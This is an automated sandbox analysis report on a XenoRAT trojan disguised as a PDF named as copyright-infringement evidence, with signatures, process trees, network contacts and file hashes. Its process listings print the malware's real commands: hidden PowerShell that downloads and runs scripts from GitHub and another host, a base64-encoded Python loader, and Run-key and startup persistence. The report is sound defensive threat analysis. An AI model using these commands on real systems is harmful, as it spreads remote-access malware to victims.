Malware Analysis Report

2024-10-23 20:26

Sample ID 240828-1xsy1sycne
Target 0ca5044d7ae4946054b9223c835bd347df3752aab2a3126bb81dd8c4f7df2747
SHA256 0ca5044d7ae4946054b9223c835bd347df3752aab2a3126bb81dd8c4f7df2747
Tags
execution xenorat discovery persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0ca5044d7ae4946054b9223c835bd347df3752aab2a3126bb81dd8c4f7df2747

Threat Level: Known bad

The file 0ca5044d7ae4946054b9223c835bd347df3752aab2a3126bb81dd8c4f7df2747 was found to be: Known bad.

Malicious Activity Summary

execution xenorat discovery persistence rat trojan

XenorRat

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Drops startup file

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Views/modifies file attributes

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-28 22:02

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-28 22:02

Reported

2024-08-28 22:04

Platform

win7-20240704-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe

"C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Powershell.exe -ExecutionPolicy bypass -WindowStyle Hidden -NoProfile -Command "iex (iwr -uri 'https://raw.githubusercontent.com/LoneNone1807/martin/main/batman3.ps1' -useb)"

Network

N/A

Files

memory/1204-4-0x000007FEF68AE000-0x000007FEF68AF000-memory.dmp

memory/1204-5-0x000000001B650000-0x000000001B932000-memory.dmp

memory/1204-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

memory/1204-7-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

memory/1204-8-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

memory/1204-9-0x000007FEF65F0000-0x000007FEF6F8D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-28 22:02

Reported

2024-08-28 22:04

Platform

win10v2004-20240802-en

Max time kernel

148s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe"

Signatures

XenorRat

trojan rat xenorat

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.bat C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Programs\Python\Python310\pythonw.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security = "C:\\Windows\\Explorer.EXE C:\\Users\\Admin\\AppData\\Local\\WindowsSecurity.lnk" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Programs\Python\Python310\pythonw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\svchost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1352 wrote to memory of 840 N/A C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
PID 1352 wrote to memory of 840 N/A C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
PID 840 wrote to memory of 3592 N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\system32\cmd.exe
PID 840 wrote to memory of 3592 N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\system32\cmd.exe
PID 3592 wrote to memory of 876 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 3592 wrote to memory of 876 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 840 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\system32\cmd.exe
PID 840 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe C:\Windows\system32\cmd.exe
PID 2876 wrote to memory of 8 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 8 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3592 wrote to memory of 4192 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3592 wrote to memory of 4192 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3592 wrote to memory of 1200 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 3592 wrote to memory of 1200 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 3592 wrote to memory of 3036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 3592 wrote to memory of 3036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 3592 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3592 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 628 wrote to memory of 1040 N/A C:\Windows\system32\mshta.exe C:\Windows\system32\cmd.exe
PID 628 wrote to memory of 1040 N/A C:\Windows\system32\mshta.exe C:\Windows\system32\cmd.exe
PID 2876 wrote to memory of 1004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2876 wrote to memory of 1004 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 1920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 1040 wrote to memory of 1920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 1040 wrote to memory of 452 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 1040 wrote to memory of 452 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 1040 wrote to memory of 2580 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 1040 wrote to memory of 2580 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 1040 wrote to memory of 1464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 1464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 4792 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wscript.exe
PID 1040 wrote to memory of 4792 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wscript.exe
PID 1040 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 1040 wrote to memory of 1944 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 1040 wrote to memory of 3660 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 3660 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 3216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wscript.exe
PID 1040 wrote to memory of 3216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wscript.exe
PID 1040 wrote to memory of 4516 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 4516 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 3384 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 3384 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 3092 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 3092 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 3056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 3056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 2432 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 2432 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 2544 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 2544 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 1232 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 1232 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 3132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 3132 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\rundll32.exe
PID 1040 wrote to memory of 3464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 3464 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 2416 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 2416 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 1040 wrote to memory of 3604 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 1040 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1040 wrote to memory of 5032 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1040 wrote to memory of 5032 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe

"C:\Users\Admin\AppData\Local\Temp\侵犯版權證據.​​​p​​​d​​​f​​​.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Powershell.exe -ExecutionPolicy bypass -WindowStyle Hidden -NoProfile -Command "iex (iwr -uri 'https://raw.githubusercontent.com/LoneNone1807/martin/main/batman3.ps1' -useb)"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\xeno.bat" "

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\sim-3.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/LoneNone1807/batman/main/startup', 'C:\Users\Admin\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecurity.bat')"

C:\Windows\system32\mshta.exe

mshta

C:\Windows\system32\doskey.exe

doskey PRINT=MORE

C:\Windows\system32\rundll32.exe

rundll32

C:\Windows\system32\mshta.exe

mshta vbscript:createobject("wscript.shell").run("""C:\Users\Public\xeno.bat"" ::",0)(window.close)

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\xeno.bat" ::"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/Document-3.zip', 'C:\Users\Public\nX2PmqH.zip')"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\mshta.exe

mshta

C:\Windows\system32\doskey.exe

doskey PRINT=MORE

C:\Windows\system32\rundll32.exe

rundll32

C:\Windows\system32\wscript.exe

wscript /b

C:\Windows\system32\doskey.exe

doskey IF=START

C:\Windows\system32\rundll32.exe

rundll32

C:\Windows\system32\wscript.exe

wscript /b

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Public\xeno.bat';iex (iwr -uri 'https://raw.githubusercontent.com/LoneNone1807/RedAV/main/antivmx.ps1' -useb) "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\rundll32.exe

rundll32

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Public\xeno.bat';[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/LoneNone1807/RedAV/raw/main/Python310.zip', [System.IO.Path]::GetTempPath() + 'Python310.zip') "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Public\xeno.bat';$dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'Programs\Python\Python310'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'Python310.zip'), $dst) "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\rundll32.exe

rundll32

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Public\xeno.bat';$s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9Mb25lTm9uZTE4MDcvbWFydGluL21haW4veGVuby1lbmMnKS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpKSk='))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindowsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPath = "$env:LOCALAPPDATA\Programs\Python\Python310\pythonw.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\mshta.exe

mshta

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Public\xeno.bat';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\WindowsSecurity.lnk' -Force "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\doskey.exe

doskey REN=VOL

C:\Windows\system32\cmd.exe

cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Programs\Python\Python310\pythonw.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9Mb25lTm9uZTE4MDcvbWFydGluL21haW4veGVuby1lbmMnKS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpKSk='))"

C:\Users\Admin\AppData\Local\Programs\Python\Python310\pythonw.exe

"C:\Users\Admin\AppData\Local\Programs\Python\Python310\pythonw.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9Mb25lTm9uZTE4MDcvbWFydGluL21haW4veGVuby1lbmMnKS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpKSk='))"

C:\Windows\system32\rundll32.exe

rundll32

C:\Windows\system32\attrib.exe

attrib +h +s +r C:\Users\Admin\AppData\Local\WindowsSecurity.lnk

C:\Windows\system32\doskey.exe

doskey SHUTDOWN=HELP

C:\Windows\system32\attrib.exe

attrib +h +s +r C:\Users\Admin\AppData\Local\Programs\Python\Python310

C:\Windows\system32\doskey.exe

doskey /listsize=0

C:\Windows\system32\attrib.exe

attrib -h -s -r "C:\Users\Public\xeno.bat"

C:\Windows\system32\cmd.exe

cmd /c exit

C:\Windows\SysWOW64\svchost.exe

C:\Windows\SysWOW64\svchost.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 tvdseo.com udp
US 86.38.202.97:443 tvdseo.com tcp
US 8.8.8.8:53 97.202.38.86.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 86.38.202.97:443 tvdseo.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 2.36.159.162.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 133.111.199.185.in-addr.arpa udp

Files

memory/840-0-0x00007FF82AE13000-0x00007FF82AE15000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xivh3x31.zrx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/840-10-0x00000202C5290000-0x00000202C52B2000-memory.dmp

memory/840-11-0x00007FF82AE10000-0x00007FF82B8D1000-memory.dmp

memory/840-12-0x00007FF82AE10000-0x00007FF82B8D1000-memory.dmp

C:\Users\Public\xeno.bat

MD5 9b53e1d4acdf97172edba1113991ca2c
SHA1 86fc54113904bd7ca1544b3a9ceb04eb80df1d9f
SHA256 10f4f8d5b3519a6d69d8492a2326c7b0b31b48add68be93093841b1aca83fd00
SHA512 08decbe020f54e722d1357efd2bba9a7e6f964e327469a3535f8a407eb8e76040f4f297bf4f3751e5d85bdbb503777456bebbfeccd6a8101dfa8f5c2ab86589e

memory/840-22-0x00007FF82AE10000-0x00007FF82B8D1000-memory.dmp

C:\Users\Public\sim-3.bat

MD5 214a6b33ea6be13111ee929e19936ded
SHA1 79b4a22d27f57593519f34e935d45b7730dda663
SHA256 e0d9001c206b813904d4415d68ce509af9c84ba945e18e44899950288f126758
SHA512 0e5e5569aafb8b7258266aa34ab10471135db686bd59c4991d4a2681c6749ca85e25843657f9410d1dd3ec88ed06c4099efd4a90c185eca7ebaeb1485f6032c2

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

memory/8-25-0x00007FF82AE10000-0x00007FF82B8D1000-memory.dmp

memory/8-35-0x00007FF82AE10000-0x00007FF82B8D1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 0ab03b4ab0ee8273a1eea28cef1ca1e7
SHA1 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2
SHA256 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed
SHA512 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72

memory/8-37-0x00007FF82AE10000-0x00007FF82B8D1000-memory.dmp

memory/8-43-0x00007FF82AE10000-0x00007FF82B8D1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 09c3dabfcdd3f8cb1a53f9008af94c7a
SHA1 ea3a78d200cad5e96b3b0db3f2ec5cb5c8cad7f4
SHA256 708742596dc29bdb0645c26747de0d72127a9e95f128b93b0067ad026f11e3b3
SHA512 2edcda7105267602321d2b969bc8215f5a0342c3b8438023ce416dc74e6768e2debe9e0fb16b3913139346545049bc1626a64331d0275a775232834ba0008da2

memory/3384-64-0x0000016A37260000-0x0000016A372A4000-memory.dmp

memory/3384-65-0x0000016A372B0000-0x0000016A37326000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 e4de99c1795fd54aa87da05fa39c199c
SHA1 dfaaac2de1490fae01104f0a6853a9d8fe39a9d7
SHA256 23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457
SHA512 796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 893ac65e3d58a78b1f5a78455607cc61
SHA1 912477ff2998e1400909e74b3b6966b69e5c4ec8
SHA256 7efd873cf8098ab6826ccbbc88b77df267da3763acf255d4ed7a94f5001c76f0
SHA512 b1f68160e8f45f48c9f6233235940456c3fa07fcc92dd52650474801b0a91be8531565ee5f257ef84658e702891936f42895bf76059e8ea1d15bf3e1ba9c622d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

memory/1232-91-0x000001A9FBD20000-0x000001A9FBD2A000-memory.dmp

memory/1232-92-0x000001A9FBD50000-0x000001A9FBD62000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Python310.zip

MD5 7ffb442acd5d416bb571e6fd3fab575a
SHA1 274e80553ea857c8c2d1658da40504710c4fafb5
SHA256 100e2c2864c4964e7fe0c5cf86addf65b921abec262a0a06da539781327f9096
SHA512 5eebd0b708bfe2bfc5c69a62cde1226baeed0d1029762b6810b706ffa3e0a1d086fae9522b1de7308e78ff66fbf09d798153e616aac7555141d5bea0a71bfd1f

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

